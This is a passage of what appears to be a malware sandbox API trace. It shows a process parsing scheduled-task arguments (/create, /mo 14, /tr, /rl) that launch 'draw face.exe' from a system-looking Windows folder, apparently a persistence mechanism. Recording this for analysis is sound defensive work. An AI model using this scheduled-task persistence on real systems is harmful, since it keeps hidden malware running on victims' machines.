_Buffer="|mo|") returned 4 [0121.562] lstrlenW (lpString="|sc|") returned 4 [0121.562] lstrlenW (lpString="|mo|") returned 4 [0121.562] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0121.562] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] lstrlenW (lpString="mo") returned 2 [0121.563] lstrlenW (lpString="mo") returned 2 [0121.563] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.563] lstrlenW (lpString="mo") returned 2 [0121.563] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.563] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.563] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.563] lstrlenW (lpString="|mo|") returned 4 [0121.563] lstrlenW (lpString="|mo|") returned 4 [0121.563] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0121.563] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] lstrlenW (lpString="14") returned 2 [0121.563] lstrlenW (lpString="-/") returned 2 [0121.563] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0121.563] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] lstrlenW (lpString="14") returned 2 [0121.563] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0121.563] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.563] _memicmp (_Buf1=0x27bec40aa50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.563] lstrlenW (lpString="14") returned 2 [0121.563] lstrlenW (lpString="14") returned 2 [0121.563] lstrlenW (lpString=" \x09") returned 2 [0121.563] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0121.563] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0121.563] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0121.563] GetLastError () returned 0x0 [0121.563] lstrlenW (lpString="14") returned 2 [0121.563] lstrlenW (lpString="14") returned 2 [0121.564] GetProcessHeap () returned 0x27bec400000 [0121.564] RtlAllocateHeap (HeapHandle=0x27bec400000, Flags=0xc, Size=0x6) returned 0x27bec404ef0 [0121.564] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.564] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.564] lstrlenW (lpString="/tr") returned 3 [0121.564] lstrlenW (lpString="-/") returned 2 [0121.564] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.564] lstrlenW (lpString="create") returned 6 [0121.564] lstrlenW (lpString="create") returned 6 [0121.564] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.564] lstrlenW (lpString="tr") returned 2 [0121.564] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.564] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.564] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.564] lstrlenW (lpString="|create|") returned 8 [0121.564] lstrlenW (lpString="|tr|") returned 4 [0121.564] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0121.564] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.564] lstrlenW (lpString="?") returned 1 [0121.564] lstrlenW (lpString="?") returned 1 [0121.564] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.564] lstrlenW (lpString="tr") returned 2 [0121.564] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.564] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|?|") returned 3 [0121.564] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.564] lstrlenW (lpString="|?|") returned 3 [0121.564] lstrlenW (lpString="|tr|") returned 4 [0121.564] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.564] lstrlenW (lpString="s") returned 1 [0121.564] lstrlenW (lpString="s") returned 1 [0121.565] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.565] lstrlenW (lpString="tr") returned 2 [0121.565] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.565] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|s|") returned 3 [0121.565] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.565] lstrlenW (lpString="|s|") returned 3 [0121.565] lstrlenW (lpString="|tr|") returned 4 [0121.565] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.565] lstrlenW (lpString="u") returned 1 [0121.565] lstrlenW (lpString="u") returned 1 [0121.565] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.565] lstrlenW (lpString="tr") returned 2 [0121.565] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.565] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|u|") returned 3 [0121.565] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.565] lstrlenW (lpString="|u|") returned 3 [0121.565] lstrlenW (lpString="|tr|") returned 4 [0121.565] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.565] lstrlenW (lpString="p") returned 1 [0121.565] lstrlenW (lpString="p") returned 1 [0121.565] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.565] lstrlenW (lpString="tr") returned 2 [0121.565] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.565] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|p|") returned 3 [0121.565] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.565] lstrlenW (lpString="|p|") returned 3 [0121.565] lstrlenW (lpString="|tr|") returned 4 [0121.565] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.566] lstrlenW (lpString="ru") returned 2 [0121.566] lstrlenW (lpString="ru") returned 2 [0121.566] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.566] lstrlenW (lpString="tr") returned 2 [0121.566] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.566] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ru|") returned 4 [0121.566] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.566] lstrlenW (lpString="|ru|") returned 4 [0121.566] lstrlenW (lpString="|tr|") returned 4 [0121.566] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0121.566] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.566] lstrlenW (lpString="rp") returned 2 [0121.566] lstrlenW (lpString="rp") returned 2 [0121.566] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.566] lstrlenW (lpString="tr") returned 2 [0121.566] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.566] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rp|") returned 4 [0121.566] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.566] lstrlenW (lpString="|rp|") returned 4 [0121.566] lstrlenW (lpString="|tr|") returned 4 [0121.566] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0121.566] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.566] lstrlenW (lpString="sc") returned 2 [0121.566] lstrlenW (lpString="sc") returned 2 [0121.566] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.566] lstrlenW (lpString="tr") returned 2 [0121.566] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.566] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.566] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.567] lstrlenW (lpString="|sc|") returned 4 [0121.567] lstrlenW (lpString="|tr|") returned 4 [0121.567] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0121.567] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.567] lstrlenW (lpString="mo") returned 2 [0121.567] lstrlenW (lpString="mo") returned 2 [0121.567] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.567] lstrlenW (lpString="tr") returned 2 [0121.567] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.567] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.567] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.567] lstrlenW (lpString="|mo|") returned 4 [0121.567] lstrlenW (lpString="|tr|") returned 4 [0121.567] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0121.567] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.567] lstrlenW (lpString="d") returned 1 [0121.567] lstrlenW (lpString="d") returned 1 [0121.567] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.567] lstrlenW (lpString="tr") returned 2 [0121.567] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.567] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|d|") returned 3 [0121.567] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.567] lstrlenW (lpString="|d|") returned 3 [0121.567] lstrlenW (lpString="|tr|") returned 4 [0121.567] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.567] lstrlenW (lpString="m") returned 1 [0121.567] lstrlenW (lpString="m") returned 1 [0121.567] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.568] lstrlenW (lpString="tr") returned 2 [0121.568] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.568] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|m|") returned 3 [0121.568] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.568] lstrlenW (lpString="|m|") returned 3 [0121.568] lstrlenW (lpString="|tr|") returned 4 [0121.568] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.568] lstrlenW (lpString="i") returned 1 [0121.568] lstrlenW (lpString="i") returned 1 [0121.568] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.568] lstrlenW (lpString="tr") returned 2 [0121.568] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.568] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|i|") returned 3 [0121.568] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.568] lstrlenW (lpString="|i|") returned 3 [0121.568] lstrlenW (lpString="|tr|") returned 4 [0121.568] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.568] lstrlenW (lpString="tn") returned 2 [0121.568] lstrlenW (lpString="tn") returned 2 [0121.568] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.568] lstrlenW (lpString="tr") returned 2 [0121.568] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.568] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.568] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.568] lstrlenW (lpString="|tn|") returned 4 [0121.568] lstrlenW (lpString="|tr|") returned 4 [0121.568] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0121.568] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] lstrlenW (lpString="tr") returned 2 [0121.569] lstrlenW (lpString="tr") returned 2 [0121.569] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.569] lstrlenW (lpString="tr") returned 2 [0121.569] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.569] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.569] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.569] lstrlenW (lpString="|tr|") returned 4 [0121.569] lstrlenW (lpString="|tr|") returned 4 [0121.569] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.569] lstrlenW (lpString="-/") returned 2 [0121.569] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.569] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'" [0121.569] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.569] _memicmp (_Buf1=0x27bec40ac70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.569] _memicmp (_Buf1=0x27bec40a950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] lstrlenW (lpString="'C") returned 2 [0121.569] lstrlenW (lpString="-/") returned 2 [0121.569] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.569] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.570] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.570] _memicmp (_Buf1=0x27bec40aa50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.570] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.570] GetProcessHeap () returned 0x27bec400000 [0121.570] HeapValidate (hHeap=0x27bec400000, dwFlags=0x0, lpMem=0x27bec40ab10) returned 1 [0121.570] GetProcessHeap () returned 0x27bec400000 [0121.570] RtlReAllocateHeap (Heap=0x27bec400000, Flags=0xc, Ptr=0x27bec40ab10, Size=0x86) returned 0x27bec403ba0 [0121.570] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.570] lstrlenW (lpString=" \x09") returned 2 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0121.570] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0121.570] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0121.570] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0121.571] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0121.571] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0121.572] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0121.572] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0121.572] GetLastError () returned 0x0 [0121.572] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.572] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'") returned 66 [0121.572] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.572] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.572] lstrlenW (lpString="/rl") returned 3 [0121.572] lstrlenW (lpString="-/") returned 2 [0121.572] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.572] lstrlenW (lpString="create") returned 6 [0121.572] lstrlenW (lpString="create") returned 6 [0121.572] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.572] lstrlenW (lpString="rl") returned 2 [0121.572] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.572] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.572] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.572] lstrlenW (lpString="|create|") returned 8 [0121.572] lstrlenW (lpString="|rl|") returned 4 [0121.572] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0121.572] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.572] lstrlenW (lpString="?") returned 1 [0121.572] lstrlenW (lpString="?") returned 1 [0121.572] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.572] lstrlenW (lpString="rl") returned 2 [0121.572] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.573] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|?|") returned 3 [0121.573] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.573] lstrlenW (lpString="|?|") returned 3 [0121.573] lstrlenW (lpString="|rl|") returned 4 [0121.573] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.573] lstrlenW (lpString="s") returned 1 [0121.573] lstrlenW (lpString="s") returned 1 [0121.573] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.573] lstrlenW (lpString="rl") returned 2 [0121.573] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.573] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|s|") returned 3 [0121.573] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.573] lstrlenW (lpString="|s|") returned 3 [0121.573] lstrlenW (lpString="|rl|") returned 4 [0121.573] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.573] lstrlenW (lpString="u") returned 1 [0121.573] lstrlenW (lpString="u") returned 1 [0121.573] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.573] lstrlenW (lpString="rl") returned 2 [0121.573] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.573] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|u|") returned 3 [0121.573] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.573] lstrlenW (lpString="|u|") returned 3 [0121.573] lstrlenW (lpString="|rl|") returned 4 [0121.573] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.573] lstrlenW (lpString="p") returned 1 [0121.573] lstrlenW (lpString="p") returned 1 [0121.573] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.573] lstrlenW (lpString="rl") returned 2 [0121.573] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.574] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|p|") returned 3 [0121.574] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.574] lstrlenW (lpString="|p|") returned 3 [0121.574] lstrlenW (lpString="|rl|") returned 4 [0121.574] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.574] lstrlenW (lpString="ru") returned 2 [0121.574] lstrlenW (lpString="ru") returned 2 [0121.574] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.574] lstrlenW (lpString="rl") returned 2 [0121.574] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.574] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ru|") returned 4 [0121.574] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.574] lstrlenW (lpString="|ru|") returned 4 [0121.574] lstrlenW (lpString="|rl|") returned 4 [0121.574] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0121.574] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.574] lstrlenW (lpString="rp") returned 2 